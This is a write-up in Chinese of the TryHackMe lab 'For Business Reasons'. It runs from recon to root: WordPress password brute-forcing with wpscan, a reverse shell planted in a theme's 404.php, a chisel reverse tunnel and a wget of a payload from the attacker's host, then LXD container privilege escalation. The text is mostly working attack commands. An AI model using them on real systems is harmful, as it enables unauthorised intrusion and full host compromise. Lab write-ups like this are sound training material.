For Business Reasons on Tryhackme

Before all

今天寫的詳細點,當作替攻防演練練習(?)
Victim’s IP : 10.10.130.147
Attacker’s IP : 10.9.195.189

Write Up

RECON

port scan

使用 rustscan 進行端口掃描

1
rustscan -a 10.10.130.147 --ulimit 5000 -- -sC -sV -PN

Result
image

只有一個 80 port,進去是 wordpress

wpscan

利用wpscan對網站進行掃描與用戶枚舉

1
wpscan --url http://10.10.130.147/ -e u

Result
image

上網查一下可以知道這個版本仍然能登入後RCE。

Exploit

password enumeration

再次利用wpscan搭配rockyou.txt結合前面獲得的使用者名稱(sysadmin)進行帳號密碼爆破

1
wpscan --url http://10.10.130.147/ -P /home/wha13/wordlists/rockyou.txt -U sysadmin

Result
image

成功取得帳號密碼,到http://10.10.130.147/wp-admin/theme-editor.php?file=404.php&theme=twentyseventeen編輯404.php改成reverse shell(彈到 port 9001)
本地開啟9001端口

1
nc -nlvp 9001

最後造訪http://10.10.130.147/wp-content/themes/twentyseventeen/404.php就拿到shellㄌ

Privilege Escalation

chisel

透過本地http server打routingtableparser進去(rtp)看有哪些網路介面
link : https://gist.github.com/incebellipipo/6c8657fe1c898ff64a42cddfa6dea6e0
看到這個有趣的eth2,port scan下去
image

portscan.sh

1
2
3
4
5
6
7
8
9
10
11
#!/bin/bash

# Check if the script is provided with exactly one argument
if [ "$#" -ne 1 ]; then
echo "Usage: $0 <IP>"
exit 1
fi

IP="$1"

for port in {1..65535}; do (echo Hello > /dev/tcp/$IP/$port && echo "Port $port is OPEN") 2>/dev/null; done

啟動它:

1
./portscan.sh 172.18.0.1

image

發現port 22,利用chisel(link here)把ssh串出來:

攻擊者端:

1
chisel server -p 8000 --reverse -v

Victim端:

1
2

./chisel client 10.9.195.189:8000 R:127.0.0.1::2222:172.18.0.1:22

最後ssh進去,密碼跟剛剛一樣:

1
ssh sysadmin@0.0.0.0 -p 2222

lxd exploit

Linpeas進去看到lxd權限有開
image
開打 :D
Reference : samoN1k0la@github
攻擊者端(需要root權限):

1
2
3
4
git clone  https://github.com/saghul/lxd-alpine-builder.git
cd lxd-alpine-builder
./build-alpine
ls

image
開 http server

1
python3 -m http.server 7777

Victim 端

1
2
3
4
5
6
7
wget 10.9.195.189:7777/alpine-v3.20-x86_64-20240602_1718.tar.gz
lxc image import alpine-v3.20-x86_64-20240602_1718.tar.gz --alias thesysrat
lxc image list
lxc init thesysrat ignite -c security.privileged=true
lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
lxc start ignite
lxc exec ignite /bin/sh

整個機器就被送進去 /mnt/root 的路徑咯~
image
hehe

After all

好欸又一台 Hard,練了很多技巧
不過建議某人不要耍白目了👊